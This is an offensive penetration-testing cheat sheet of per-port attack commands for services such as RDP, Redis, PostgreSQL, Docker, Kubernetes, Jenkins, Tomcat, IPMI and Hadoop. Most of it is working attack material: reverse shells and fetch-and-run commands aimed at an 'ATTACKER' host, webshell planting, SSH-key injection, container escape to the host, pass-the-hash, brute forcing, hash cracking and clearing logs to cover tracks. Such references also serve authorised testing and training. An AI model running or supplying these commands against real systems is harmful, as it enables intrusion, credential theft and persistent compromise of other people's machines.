
nmap -sV -p 3389 <target>
nmap --script rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 <target>

# ==========================================
# ENUMERATION
# ==========================================

# Check NLA requirement
nmap --script rdp-enum-encryption -p 3389 <target>
# → If NLA disabled → login screen shown without creds!

# ==========================================
# EXPLOITATION
# ==========================================

# BlueKeep (CVE-2019-0708) — RDP pre-auth RCE!
nmap --script rdp-vuln-ms12-020 -p 3389 <target>   # DoS vuln check
# BlueKeep: use MSF module: exploit/windows/rdp/cve_2019_0708_bluekeep_rce

# Connect
xfreerdp /u:Administrator /p:Password /v:<target>
xfreerdp /u:Administrator /p:Password /v:<target> /cert-ignore
rdesktop <target>

# Pass-the-Hash (xfreerdp)
xfreerdp /u:Administrator /pth:<NTLM_HASH> /v:<target>

# Brute force
hydra -L users.txt -P pass.txt rdp://<target>
crowbar -b rdp -s <target>/32 -U users.txt -c Password123

# ==========================================
# ATTACK NOTES
# ==========================================

# If Restricted Admin Mode enabled:
# → PTH directly → xfreerdp /pth:<HASH>

# Enable RDP (if you have code exec):
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389

nmap -sV -p 5432 <target>
nmap --script pgsql-brute -p 5432 <target>

# Connect
psql -h <target> -U postgres
psql -h <target> -U postgres -W

# PostgreSQL commands
postgres=# \l               # List databases
postgres=# \c dbname        # Connect to database
postgres=# \dt              # List tables
postgres=# SELECT * FROM users;
postgres=# SELECT version();

# COPY command for file read
postgres=# COPY test FROM '/etc/passwd';

# RCE via COPY (if superuser!)
postgres=# COPY cmd_output FROM PROGRAM 'id';       # Execute OS command!
postgres=# COPY cmd_output FROM PROGRAM 'curl http://ATTACKER/shell.sh | bash';

# Brute
hydra -L users.txt -P pass.txt postgres://<target>

nmap -sV -p 5800,5900 <target>
nmap --script vnc-info,vnc-brute,vnc-title -p 5900 <target>

# Connect
vncviewer <target>:5900
vncviewer <target>:5900 -passwd passwd_file

# Brute force
hydra -P pass.txt <target> vnc
nmap --script vnc-brute -p 5900 <target>

# ==========================================
# ATTACK NOTES
# ==========================================

# VNC password stored in: ~/.vnc/passwd
# Decrypt VNC password hash:
msfconsole -q -x "use auxiliary/scanner/vnc/vnc_login; set RHOSTS <target>; run"

# If you have hash:
cat ~/.vnc/passwd | xxd | awk '{print $2$3$4$5$6$7$8$9}' | tr -d '\n'
# Decrypt with: https://github.com/jeroennijhof/vncpwd

nmap -sV -p 5984 <target>

# No auth — browse all databases!
curl http://<target>:5984/
curl http://<target>:5984/_all_dbs        # List all databases
curl http://<target>:5984/users/_all_docs # All docs in users DB
curl http://<target>:5984/_utils          # Futon admin GUI!

# Create admin (Erlang cookie RCE — CVE-2017-12636)
curl -X PUT http://<target>:5984/_node/nonode@nohost/_config/admins/attacker -d '"password"'

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sV -p 6379 <target>
nmap --script redis-info -p 6379 <target>

# ==========================================
# ENUMERATION
# ==========================================

# Connect (no auth)
redis-cli -h <target>
redis-cli -h <target> -a password    # With password

# Redis commands
> INFO                     # Server info (version, config, etc.)
> INFO keyspace            # List databases + key count
> CONFIG GET *             # ALL configuration!
> CONFIG GET dir           # Where data is saved
> CONFIG GET dbfilename    # Database filename
> KEYS *                   # All keys!
> KEYS user*               # Keys matching pattern
> GET key                  # Get value
> SMEMBERS key             # Set members
> HGETALL key              # Hash members
> LRANGE key 0 -1          # List all items

# ==========================================
# EXPLOITATION
# ==========================================

# RCE via SSH key injection (if root)
# Step 1: Generate SSH key
ssh-keygen -t rsa -f redis_key

# Step 2: Write key to Redis
redis-cli -h <target> FLUSHALL
redis-cli -h <target> SET mykey "\n\n$(cat redis_key.pub)\n\n"

# Step 3: Change save location to /root/.ssh/
redis-cli -h <target> CONFIG SET dir /root/.ssh
redis-cli -h <target> CONFIG SET dbfilename authorized_keys
redis-cli -h <target> SAVE

# Step 4: SSH in!
ssh -i redis_key root@<target>

# RCE via cron job
redis-cli -h <target> SET mykey "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
redis-cli -h <target> CONFIG SET dir /var/spool/cron/crontabs
redis-cli -h <target> CONFIG SET dbfilename root
redis-cli -h <target> SAVE

# RCE via webshell (if web root is known)
redis-cli -h <target> SET webshell "<?php system(\$_GET['cmd']); ?>"
redis-cli -h <target> CONFIG SET dir /var/www/html
redis-cli -h <target> CONFIG SET dbfilename shell.php
redis-cli -h <target> SAVE
curl "http://<target>/shell.php?cmd=id"

nmap -sV -p 5985,5986 <target>

# Test connection (CrackMapExec)
crackmapexec winrm <target> -u user -p pass
crackmapexec winrm <target> -u user -H <NTLM_HASH>

# Connect (evil-winrm — the best tool!)
evil-winrm -i <target> -u user -p pass
evil-winrm -i <target> -u user -H <NTLM_HASH>        # Pass-the-Hash!
evil-winrm -i <target> -u user -p pass -s /scripts/  # Load PS scripts dir
evil-winrm -i <target> -u user -p pass -e /exe/      # Upload dir

# evil-winrm features
# Upload file:  upload local.exe C:\remote.exe
# Download:     download C:\file.txt
# Load PS:      Invoke-Binary /local/exe
# Bypass AMSI:  built-in!

nmap -sV -p 9200,9300 <target>

# REST API (no auth needed!)
curl http://<target>:9200/              # Cluster info
curl http://<target>:9200/_cat/indices # All indexes!
curl http://<target>:9200/_cat/nodes   # Cluster nodes
curl http://<target>:9200/_all/_search?pretty=true  # DUMP ALL DATA!

# Specific index
curl http://<target>:9200/users/_search?pretty=true
curl http://<target>:9200/passwords/_search?pretty=true
curl http://<target>:9200/credentials/_search?pretty=true

# Get mappings (schema)
curl http://<target>:9200/users/_mapping

nmap -sV -p 27017 <target>

# Connect (no auth)
mongo <target>
mongosh <target>

# MongoDB commands
> show dbs              # List databases
> use admin             # Switch to database
> show collections      # List collections (like tables)
> db.users.find()       # Find all documents in users collection
> db.users.find().pretty()  # Pretty print
> db.users.count()      # Count documents
> db.getCollectionNames()

# Find credentials
> db.users.find({},{password:1,username:1})

# Create admin user
> use admin
> db.createUser({user:"attacker",pwd:"P@ss123",roles:["root"]})

nmap -sV -p 2375,2376 <target>
# 2375 = Unencrypted (no auth!) 
# 2376 = TLS encrypted

# List containers (no auth!)
docker -H tcp://<target>:2375 ps -a
docker -H tcp://<target>:2375 images

# Host escape — mount host root!
docker -H tcp://<target>:2375 run -it --rm --privileged \
    -v /:/host alpine chroot /host /bin/bash
# NOW YOU ARE ROOT ON THE HOST!

# Write SSH key to host
docker -H tcp://<target>:2375 run -it --rm --privileged \
    -v /root/.ssh:/root/.ssh alpine \
    sh -c "echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys"

nmap -sV -p 6443,10250 <target>

# Kubelet API (port 10250 — often no auth!)
curl -sk https://<target>:10250/pods      # List all pods!
curl -sk https://<target>:10250/runningpods

# Exec in pod via Kubelet
curl -sk https://<target>:10250/run/default/pod-name/container-name \
    -d "cmd=id"

# Kubernetes API (port 6443)
curl -sk https://<target>:6443/api/v1/namespaces/default/pods
curl -sk https://<target>:6443/api/v1/secrets

# kubectl (if you have creds)
kubectl --server https://<target>:6443 get pods --all-namespaces
kubectl --server https://<target>:6443 get secrets --all-namespaces -o yaml

nmap -sV -p 8080 <target>
whatweb http://<target>:8080

# ==========================================
# JENKINS SPECIFIC
# ==========================================

# Common default creds
admin:admin
admin:password
jenkins:jenkins

# Groovy Script Console → RCE!
# Navigate to: http://<target>:8080/script

# Execute OS command in console:
println("whoami".execute().text)
println("id".execute().text)
println(["bash","-c","whoami"].execute().text)

# Reverse shell via console:
Thread.start {
    "bash -i >& /dev/tcp/ATTACKER/4444 0>&1".execute().waitFor()
}

# Read credentials.xml (Jenkins stores creds here!)
println(new File('/var/jenkins_home/credentials.xml').text)
println(new File('C:/Users/jenkins/.jenkins/credentials.xml').text)

# Decrypt Jenkins credentials (if you have master.key)
println(hudson.util.Secret.decrypt("ENCRYPTED_STRING"))

# ==========================================
# GENERIC HTTP:8080
# ==========================================

# Also check for: Tomcat, Spring Boot, Jetty, etc.
# Run full web enum on port 8080 same as port 80

nmap -sV -p 8009 <target>
nmap --script ajp-headers,ajp-request -p 8009 <target>

# Ghostcat (CVE-2020-1938) — file read!
python3 ghostcat.py -p 8009 -f /WEB-INF/web.xml <target>
# Tool: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

# MSF
use auxiliary/admin/http/tomcat_ghostcat

# ==========================================
# TOMCAT (Port 8080/8443 too)
# ==========================================

# Default creds for /manager
tomcat:tomcat
admin:admin
admin:password
tomcat:s3cret
manager:manager

# Upload WAR shell (manager access = RCE!)
# Generate WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war > shell.war

# Upload via curl
curl -u admin:admin http://<target>:8080/manager/text/deploy?path=/shell \
    --upload-file shell.war

# Trigger shell
curl http://<target>:8080/shell/

# MSF module
use exploit/multi/http/tomcat_mgr_upload

nmap -sV -p 11211 <target>
nmap --script memcached-info -p 11211 <target>

# Connect
nc -v <target> 11211

# Memcached commands
stats              # Server stats
stats items        # Cached items
stats cachedump 1 100  # Dump 100 items from slab 1
get <key>          # Get cached value
keys               # All keys (newer versions)

# Automated dump
python2 memcached-tool.py <target>:11211 dump

# ==========================================
# FINGERPRINTING
# ==========================================

sudo nmap -sU -p 623 <target>
sudo nmap -sU --script ipmi-version -p 623 <target>
# Response reveals: IPMI version (1.5 or 2.0), auth types supported

# Metasploit version scan
msf> use auxiliary/scanner/ipmi/ipmi_version
msf> set RHOSTS <target>
msf> run
# Output: IPMI-2.0 UserAuth(auth_user) PassAuth(md5,md2)

# ==========================================
# ENUMERATION
# ==========================================

# ipmitool (direct interaction)
sudo apt install ipmitool

ipmitool -I lanplus -H <target> -U root -P root user list   # List users
ipmitool -I lanplus -H <target> -U root -P root chassis status
ipmitool -I lanplus -H <target> -U root -P root fru

# ==========================================
# EXPLOITATION
# ==========================================

# ATTACK 1: Cipher Zero (Zero Authentication Bypass!)
# Cipher 0 = admin access with ANY password!
msf> use auxiliary/scanner/ipmi/ipmi_cipher_zero
msf> set RHOSTS <target>
msf> run
# If VULNERABLE → use ANY password!
ipmitool -I lanplus -C 0 -H <target> -U root -P ANYTHING user list

# ATTACK 2: IPMI 2.0 RAKP Hash Dump (no auth needed!)
# Dump MD5 hash of any user's password without authenticating!
msf> use auxiliary/scanner/ipmi/ipmi_dumphashes
msf> set RHOSTS <target>
msf> set OUTPUT_JOHN_FILE hashes.john
msf> set OUTPUT_HASHCAT_FILE hashes.hashcat
msf> run
# → Gets MD5 hashes for ALL users → crack offline!

# Crack with hashcat
hashcat -a 0 -m 7300 hashes.hashcat /usr/share/wordlists/rockyou.txt

# ATTACK 3: Default Credentials (very common on BMC interfaces!)
# Common defaults:
# Dell iDRAC: root / calvin
# HP iLO:     Administrator / <random on label>
# Supermicro: ADMIN / ADMIN
# IBM IMM:    USERID / PASSW0RD
# Cisco CIMC: admin / password

# ==========================================
# POST EXPLOITATION
# ==========================================

# IPMI = hardware-level access — OS doesn't know!
# → Reboot machine
ipmitool -I lanplus -H <target> -U root -P pass chassis power cycle

# → Get remote KVM console (see the screen!)
# → Read/write BMC config
# → Clear event logs (cover tracks)
# → Mount ISO remotely (boot to your OS!)

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sU -p 69 <target>
nmap -sU -p 69 --script tftp-enum <target>

# ==========================================
# ENUMERATION
# ==========================================

# Enumerate common config files
nmap -sU -p 69 --script tftp-enum \
    --script-args tftp-enum.filelist=/usr/share/seclists/Discovery/TFTP/tftp.txt <target>

# Manual TFTP interaction
tftp <target>
tftp> get filename.txt       # Download file
tftp> put shell.php          # Upload file (if writable!)
tftp> status
tftp> quit

# Try common filenames
tftp <target>
tftp> get /etc/passwd
tftp> get /etc/shadow
tftp> get startup-config     # Cisco router config! (goldmine)
tftp> get running-config     # Cisco running config
tftp> get cisco.conf
tftp> get config.txt

# ==========================================
# ATTACK NOTES
# ==========================================

# TFTP mostly used for:
# → Network device configs (routers/switches) — contains plaintext creds!
# → PXE boot files
# → VoIP phone configs (contain SIP credentials!)
# → If writable → upload malicious config or webshell

# ==========================================
# FINGERPRINTING
# ==========================================

nmap -sV -p 512,513,514 <target>
nmap --script rexec-brute,rlogin-brute,rsh-brute -p 512,513,514 <target>

# Install r-services clients
sudo apt install rsh-client

# ==========================================
# SERVICE BREAKDOWN
# ==========================================

# PORT 512 — rexec (remote execution with username:password)
rexec <target> -l root id     # Execute command as root

# PORT 513 — rlogin (remote login — trusts .rhosts!)
rlogin <target> -l root       # Login as root (if .rhosts allows!)
rlogin <target>               # Login as current user

# PORT 514 — rsh (remote shell — most dangerous!)
rsh <target> id               # Execute command (no password if .rhosts trusts you!)
rsh <target> -l root id       # As root
rsh -l root <target> /bin/bash  # Get bash shell!

# rusers (513/UDP — who is logged in)
rusers -al <target>

# rwho (513/UDP)
rwho                          # Show users on local network!

# ==========================================
# EXPLOITATION
# ==========================================

# .rhosts trust exploitation:
# If /etc/hosts.equiv or ~/.rhosts contains: + + or + <your_IP>
# → Full access with NO password!

# Check /etc/hosts.equiv content (if you can read it)
# Dangerous configs:
# +          = trust ALL hosts as ALL users
# + user     = trust ALL hosts as specific user
# hostname   = trust specific host

# MSF scanners
msf> use auxiliary/scanner/rservices/rsh_login
msf> use auxiliary/scanner/rservices/rlogin_login
msf> use auxiliary/scanner/rservices/rexec_login

# ==========================================
# ATTACK NOTES
# ==========================================

# R services = cleartext like Telnet
# Capture creds with tcpdump:
tcpdump -i eth0 -A port 513 or port 514

# If .rhosts has "++" → login as root with no password
rlogin -l root <target>      # → instant root!

nmap -sV -p 79 <target>
nmap --script finger -p 79 <target>

# Manual usage
finger @<target>             # List all logged in users
finger root@<target>         # Info on specific user
finger user@<target>

# finger-user-enum (automated user enum)
finger-user-enum.pl -U users.txt -t <target>

# What it reveals:
# → Logged-in users, idle time, location, real name
# → Shell, home directory, email
# → Last login time

# ==========================================
# PORT 25565 — Minecraft Server
# ==========================================
nmap -sV -p 25565 <target>
# Check for Log4Shell (CVE-2021-44228) if running old versions!
# Payload: ${jndi:ldap://ATTACKER/a}

# ==========================================
# PORT 3000 — Development Servers
# ==========================================
# Node.js/Express, Grafana, Gitea, React dev
nmap -sV -p 3000 <target>
whatweb http://<target>:3000
# Grafana default: admin/admin
# Gitea: check for public repos, user registration

# Grafana (CVE-2021-43798 — path traversal → file read)
curl http://<target>:3000/public/plugins/alertlist/../../../../../../../etc/passwd

# ==========================================
# PORT 4848 — GlassFish Admin
# ==========================================
nmap -sV -p 4848 <target>
# Default creds: admin/adminadmin
# Admin console → deploy WAR file → RCE

# ==========================================
# PORT 8443 — HTTPS Alternate / Tomcat SSL
# ==========================================
nmap -sV -p 8443 <target>
# Often: Tomcat, vSphere, Fortinet, pfSense, WebLogic
curl -k https://<target>:8443/
whatweb https://<target>:8443

# ==========================================
# PORT 8500 — Consul / ColdFusion
# ==========================================
nmap -sV -p 8500 <target>
curl http://<target>:8500/v1/catalog/services  # Consul API
# If Consul UI exposed → register malicious service → RCE!
# ColdFusion admin panel → often default creds

# ==========================================
# PORT 9090 — Prometheus / Cockpit
# ==========================================
nmap -sV -p 9090 <target>
curl http://<target>:9090/metrics     # Prometheus metrics (info disclosure!)
curl http://<target>:9090/api/v1/targets  # Prometheus targets
# Cockpit: Linux web-based admin console → system access!

# ==========================================
# PORT 9100 — Jetdirect (Printer)
# ==========================================
nmap -sV -p 9100 <target>
nc -v <target> 9100
# Send PJL commands to read files, info
echo -e "@PJL INFO ID\r\n" | nc <target> 9100    # Printer model
echo -e "@PJL FSINIT\r\n@PJL FSQUERY NAME=\"0:/etc/passwd\"\r\n" | nc <target> 9100  # File read!

# ==========================================
# PORT 10000 — Webmin
# ==========================================
nmap -sV -p 10000 <target>
# Webmin = Linux admin panel (HUGE risk if exposed!)
# CVE-2019-15107 — RCE (backdoor in Webmin 1.890!)
# MSF: exploit/unix/webapp/webmin_backdoor
curl https://<target>:10000 -k

# ==========================================
# PORT 11211 — Memcached (recap)
# ==========================================
nc -v <target> 11211
stats
stats items
stats cachedump 1 100    # Dump cached session data!

# ==========================================
# PORT 2181 — Zookeeper
# ==========================================
nmap -sV -p 2181 <target>
echo "ls /" | nc <target> 2181      # List znodes (no auth!)
echo "get /config" | nc <target> 2181  # Read config data
zkCli.sh -server <target>:2181      # Full Zookeeper CLI

# ==========================================
# PORT 4369 — Erlang Port Mapper (EPMD)
# ==========================================
nmap -sV -p 4369 <target>
# Erlang nodes (RabbitMQ, CouchDB, Riak)
epmd -port 4369 -names       # List node names
# Get Erlang cookie → connect to Erlang cluster → RCE!
# Cookie usually in: /var/lib/rabbitmq/.erlang.cookie

# ==========================================
# PORT 5000 — Docker Registry / Python Flask
# ==========================================
nmap -sV -p 5000 <target>
curl http://<target>:5000/v2/_catalog    # Docker registry (list all images!)
curl http://<target>:5000/v2/<image>/tags/list  # Image tags
# Pull image → inspect for secrets!
docker pull <target>:5000/image:tag
docker save image:tag | tar xv    # Extract layers → find creds!

# ==========================================
# PORT 5601 — Kibana
# ==========================================
nmap -sV -p 5601 <target>
curl http://<target>:5601/api/status     # Status (no auth!)
# Kibana + Elasticsearch = all logs exposed
# CVE-2019-7609 — Kibana 6.6.0 RCE via Timelion/Canvas

# ==========================================
# PORT 7001/7002 — WebLogic
# ==========================================
nmap -sV -p 7001,7002 <target>
# Oracle WebLogic = RCE heaven!
# CVE-2020-14882 — Auth bypass + RCE
# CVE-2019-2725 — Deserialization RCE
# MSF: exploit/multi/misc/weblogic_deserialize_asyncresponseservice
curl http://<target>:7001/console        # Admin console

# ==========================================
# PORT 8161 — ActiveMQ
# ==========================================
nmap -sV -p 8161 <target>
# Default creds: admin/admin
# CVE-2023-46604 — RCE! (Apache ActiveMQ RCE)
# MSF: exploit/multi/misc/apache_activemq_rce_cve_2023_46604

# ==========================================
# PORT 8888 — Jupyter Notebook
# ==========================================
nmap -sV -p 8888 <target>
curl http://<target>:8888/api/kernels    # List kernels (no token = no auth!)
# If no token:
# → Execute Python code → RCE!
# New notebook → code cell → import os; os.system("id")

# ==========================================
# PORT 9418 — Git Protocol
# ==========================================
nmap -sV -p 9418 <target>
git clone git://<target>/repo.git        # Clone public repos!
# May find: source code, configs, credentials in git history

# ==========================================
# PORT 50000 — SAP / Jenkins alternate
# ==========================================
nmap -sV -p 50000 <target>
# SAP Dispatcher: test SAP CVEs
# Jenkins alternate: check for Jenkins script console

# ==========================================
# PORT 102 — Siemens S7 / Industrial SCADA
# ==========================================
nmap -sV -p 102 <target>
# Industrial Control Systems (ICS/SCADA)
# Siemens S7 PLC — control physical systems!
# Very dangerous — DO NOT interact without permission!

# ==========================================
# PORT 44818 — EtherNet/IP (ICS)
# ==========================================
nmap -sV -p 44818 <target>
nmap --script enip-info -p 44818 <target>

# ==========================================
# PORT 623 — IPMI (covered above)
# ==========================================

# ==========================================
# PORT 47001 — Windows Remote Management (alt)
# ==========================================
nmap -sV -p 47001 <target>
# Windows WinRM alternate port

# ==========================================
# PORT 135 — MSRPC (Microsoft RPC)
# ==========================================
nmap -sV -p 135 <target>
nmap --script msrpc-enum -p 135 <target>

# Impacket rpcdump (list all RPC endpoints)
impacket-rpcdump <target>
impacket-rpcdump @<target> | grep -A 5 "MS-RPRN"    # Print spooler (PrintNightmare!)

# rpcinfo
rpcinfo -p <target>

# ==========================================
# PORT 593 — HTTP RPC Endpoint Mapper
# ==========================================
nmap -sV -p 593 <target>
# Microsoft RPC over HTTP — sometimes used for Exchange

# ==========================================
# PORT 636 — LDAPS (LDAP over SSL)
# ==========================================
nmap -sV -p 636 <target>
ldapsearch -H ldaps://<target>:636 -x -b "DC=corp,DC=local"
openssl s_client -connect <target>:636    # Check cert

# ==========================================
# PORT 873 — rsync
# ==========================================
nmap -sV -p 873 <target>

# List available modules (no auth!)
rsync rsync://<target>/
rsync --list-only rsync://<target>/modulename/

# Download files
rsync -av rsync://<target>/modulename/ ./output/

# Upload files (if writable!)
rsync -av ./shell.php rsync://<target>/modulename/var/www/html/shell.php

# With credentials
rsync rsync://user@<target>/module/

# ==========================================
# PORT 1883/8883 — MQTT (IoT protocol)
# ==========================================
nmap -sV -p 1883 <target>
# No auth by default → subscribe to ALL topics!
mosquitto_sub -h <target> -t '#' -v    # Subscribe to ALL topics
mosquitto_pub -h <target> -t 'command' -m 'reboot'  # Publish command!

# ==========================================
# PORT 5555 — Android ADB
# ==========================================
nmap -sV -p 5555 <target>
adb connect <target>:5555
adb shell                   # Remote shell on Android!
adb shell su                # Root shell!
adb pull /data/data/        # Pull app data

# ==========================================
# PORT 6000-6007 — X11 (X Window System)
# ==========================================
nmap -sV -p 6000-6007 <target>
# Take screenshot of display!
DISPLAY=<target>:0 xwd -root -out screen.xwd
xwud -in screen.xwd         # View screenshot

# Check xhost permissions
xhost                        # Locally
# If "+" = anyone can connect!
DISPLAY=<target>:0 xclock   # Test connection

# ==========================================
# PORT 2222 — SSH Alternate
# ==========================================
nmap -sV -p 2222 <target>
ssh -p 2222 user@<target>

# ==========================================
# PORT 3128 — Squid Proxy
# ==========================================
nmap -sV -p 3128 <target>
curl -x http://<target>:3128 http://internal-host/   # Use as proxy!
curl -x http://<target>:3128 http://127.0.0.1:8080   # Access internal services!
# If misconfigured → pivot through it into internal network

# ==========================================
# PORT 8088 — Hadoop YARN ResourceManager
# ==========================================
nmap -sV -p 8088 <target>
curl http://<target>:8088/ws/v1/cluster/apps   # No auth!
# RCE via new application submission:
curl -X POST http://<target>:8088/ws/v1/cluster/apps -d '{"am-container-spec":{"commands":{"command":"bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}}}' -H "Content-Type: application/json"

# ==========================================
# SCANNING
# ==========================================

# Top 100 UDP ports
sudo nmap -sU --top-ports 100 <target>

# Specific UDP ports
sudo nmap -sU -p 53,67,68,69,123,161,162,500,514,623,1194 <target>

# UDP + service version
sudo nmap -sU -sV -p 53,161 <target>

# Combine TCP + UDP
sudo nmap -sS -sU -p T:1-1000,U:53,161,162,67-69,623 <target>

# ==========================================
# KEY UDP PORTS QUICK REFERENCE
# ==========================================

Port 53  UDP  → DNS           (zone transfer over TCP too)
Port 67  UDP  → DHCP Server   (rogue DHCP server attacks)
Port 68  UDP  → DHCP Client
Port 69  UDP  → TFTP          (no auth file transfer)
Port 123 UDP  → NTP           (time sync, NTP amplification)
Port 137 UDP  → NetBIOS NS    (Windows name resolution)
Port 138 UDP  → NetBIOS DGM   (Windows datagram service)
Port 161 UDP  → SNMP          (network device management)
Port 162 UDP  → SNMP Trap     (alerts from devices)
Port 500 UDP  → IKE / IPSec   (VPN key exchange)
Port 514 UDP  → Syslog        (log aggregation — info disclosure!)
Port 520 UDP  → RIP           (routing protocol — route injection!)
Port 623 UDP  → IPMI          (server BMC management)
Port 1194 UDP → OpenVPN
Port 1812 UDP → RADIUS        (authentication server)
Port 4500 UDP → NAT-T IPSec   (VPN behind NAT)
Port 5353 UDP → mDNS          (local network discovery)

# ==========================================
# DHCP (Port 67/68) ATTACKS
# ==========================================

# Listen for DHCP traffic
sudo tcpdump -i eth0 port 67 or port 68 -e -n

# Rogue DHCP server (give attacker as gateway → MITM all traffic!)
# Tool: yersinia
sudo yersinia dhcp -attack 1   # DoS — exhaust all DHCP leases
sudo yersinia dhcp -attack 2   # Rogue DHCP server

# ==========================================
# SYSLOG (Port 514 UDP) — INFO DISCLOSURE
# ==========================================

# Listen for syslog messages
nc -luk 514

# If devices are sending logs → capture them:
sudo tcpdump -i eth0 port 514 -A | grep -i "password\|user\|auth\|login"

# ==========================================
# NTP (Port 123) — AMPLIFICATION + INFO
# ==========================================

nmap -sU -p 123 <target>
nmap --script ntp-info -p 123 <target>     # Get server info
nmap --script ntp-monlist -p 123 <target>  # List recently queried hosts!

# ==========================================
# HOW IT WORKS
# ==========================================

# Nmap sends specific probes and analyzes:
# → TCP ISN (Initial Sequence Number) generation pattern
# → TCP window size and scaling options
# → IP TTL values (Linux=64, Windows=128, Cisco=255)
# → TCP options ordering (MSS, SACK, timestamps, window scale)
# → ICMP response behavior
# → Response to malformed packets

# ==========================================
# OS FINGERPRINTING TOOLS
# ==========================================

# Nmap OS detection
sudo nmap -O <target>
sudo nmap -O --osscan-guess <target>    # Guess even if not confident
sudo nmap -A <target>                   # All-in-one (OS + version + scripts)

# More aggressive (more probes)
sudo nmap -O --osscan-limit <target>    # Only scan likely candidates

# ==========================================
# TTL FINGERPRINTING (quick passive method)
# ==========================================

# Just ping and check TTL!
ping <target>

# TTL VALUES (approximate — decremented by each hop):
# TTL = 64  → Linux / Unix / Android / macOS
# TTL = 128 → Windows
# TTL = 255 → Cisco IOS / FreeBSD / Solaris
# TTL = 254 → Cisco Network OS

# Account for hops (each router = -1 TTL)
# TTL=127 → probably Windows (1 hop away)
# TTL=63  → probably Linux (1 hop away)

# ==========================================
# PASSIVE OS FINGERPRINTING (p0f)
# ==========================================

# p0f — purely passive, no packets sent!
sudo p0f -i eth0 -p             # Listen on interface, promiscuous
sudo p0f -r capture.pcap        # Analyze pcap file

# ==========================================
# BANNER-BASED OS DETECTION
# ==========================================

# SSH banner
nc -v <target> 22
# OpenSSH_8.2p1 Ubuntu = Ubuntu 20.04!
# OpenSSH_7.4 = CentOS 7 / RHEL 7!
# SSH-2.0-OpenSSH_for_Windows = Windows!

# HTTP Server header
curl -I http://<target>
# Apache/2.4.41 (Ubuntu) → Ubuntu!
# Microsoft-IIS/10.0 → Windows Server 2019!
# nginx/1.14.2 → Debian!

# FTP banner
nc -v <target> 21
# vsFTPd 3.0.3 → Linux
# Microsoft FTP Service → Windows

# ==========================================
# NETCAT — UNIVERSAL BANNER GRABBER
# ==========================================

nc -v <target> <port>
nc -v -w 3 <target> 22    # With 3s timeout

# Send protocol-specific trigger + read banner:
echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc <target> 80    # HTTP
echo -e "EHLO x\r\n" | nc <target> 25                 # SMTP
echo -e "\r\n" | nc <target> 110                       # POP3
echo -e "A1 CAPABILITY\r\n" | nc <target> 143          # IMAP

# ==========================================
# TELNET (alternative to nc)
# ==========================================

telnet <target> 80
GET / HTTP/1.0

# ==========================================
# CURL (HTTP/HTTPS banner grabbing)
# ==========================================

curl -I http://<target>                # Response headers
curl -I http://<target> -A ""          # Empty user-agent
curl --head http://<target>

# Extract specific headers:
curl -I http://<target> | grep -i "server\|x-powered-by\|set-cookie"

# ==========================================
# OPENSSL (SSL/TLS banner grabbing)
# ==========================================

openssl s_client -connect <target>:443
echo "" | openssl s_client -connect <target>:443 2>/dev/null | openssl x509 -text -noout
# → Reveals: CN, SANs (subdomains!), issuer, validity

# ==========================================
# WHATWEB (web fingerprinting)
# ==========================================

whatweb http://<target>
whatweb -a 3 http://<target>    # Aggressive (more requests)
whatweb -i targets.txt          # Multiple targets

# ==========================================
# AUTOMATED BANNER GRABBING
# ==========================================

# Netcat loop against multiple ports:
for port in 21 22 25 80 110 143 443 445 3306 3389 8080; do
    echo -n "Port $port: "
    timeout 3 bash -c "echo '' | nc -v <target> $port 2>&1" | grep -i "banner\|welcome\|ssh\|ftp\|http" | head -1
done

# Nmap banner grab
nmap -sV --script banner -p- <target>
nmap -sV --version-intensity 9 -p <ports> <target>

╔══════════════════════════════════════════════════════════════════════╗
║ COMPLETE PORT ENUMERATION — MASTER CHEAT SHEET                       ║
╠══════════╦════════╦══════════════════════════════════════════════════╣
║ PORT     ║ PROTO  ║ QUICK VECTOR                                     ║
╠══════════╬════════╬══════════════════════════════════════════════════╣
║ 21       ║ TCP    ║ anon, brute, vsftpd backdoor                     ║
║ 22       ║ TCP    ║ brute, key theft, tunneling                      ║
║ 23       ║ TCP    ║ cleartext creds                                  ║
║ 25       ║ TCP    ║ VRFY/EXPN enum, relay                            ║
║ 53       ║ TCP/UDP║ AXFR, subdomain enum                             ║
║ 67/68    ║ UDP    ║ rogue DHCP (MITM)                                ║
║ 69       ║ UDP    ║ no-auth file read/write                          ║
║ 79       ║ TCP    ║ user enum                                        ║
║ 80/443   ║ TCP    ║ web vulns (SQLi, XSS, LFI, RCE, SSRF)            ║
║ 88       ║ TCP/UDP║ Kerberos → roasting, enum                        ║
║ 110      ║ TCP    ║ mail brute/read                                  ║
║ 111      ║ TCP/UDP║ rpcinfo → NFS/RPC                                ║
║ 135      ║ TCP    ║ RPC enum (spooler)                               ║
║ 137-139  ║ TCP/UDP║ NetBIOS enum, null sessions                      ║
║ 143      ║ TCP    ║ mail access                                      ║
║ 161      ║ UDP    ║ SNMP dump/config                                 ║
║ 389      ║ TCP    ║ LDAP enum (AD)                                   ║
║ 445      ║ TCP    ║ SMB enum, relay, EternalBlue                     ║
║ 464      ║ TCP/UDP║ Kerberos svc                                     ║
║ 512-514  ║ TCP    ║ r-services trust                                 ║
║ 623      ║ UDP    ║ IPMI Cipher0                                     ║
║ 636      ║ TCP    ║ LDAPS                                            ║
║ 873      ║ TCP    ║ rsync access                                     ║
║ 1433     ║ TCP    ║ MSSQL (xp_cmdshell)                              ║
║ 1521     ║ TCP    ║ Oracle SID brute                                 ║
║ 1723     ║ TCP    ║ PPTP crack                                       ║
║ 2049     ║ TCP/UDP║ NFS mount                                        ║
║ 2375     ║ TCP    ║ Docker API (host access)                         ║
║ 3306     ║ TCP    ║ MySQL (file/UDF)                                 ║
║ 3389     ║ TCP    ║ RDP brute / PTH                                  ║
║ 4369     ║ TCP    ║ Erlang cookie                                    ║
║ 5432     ║ TCP    ║ PostgreSQL COPY                                  ║
║ 5900     ║ TCP    ║ VNC access                                       ║
║ 5984     ║ TCP    ║ CouchDB no-auth                                  ║
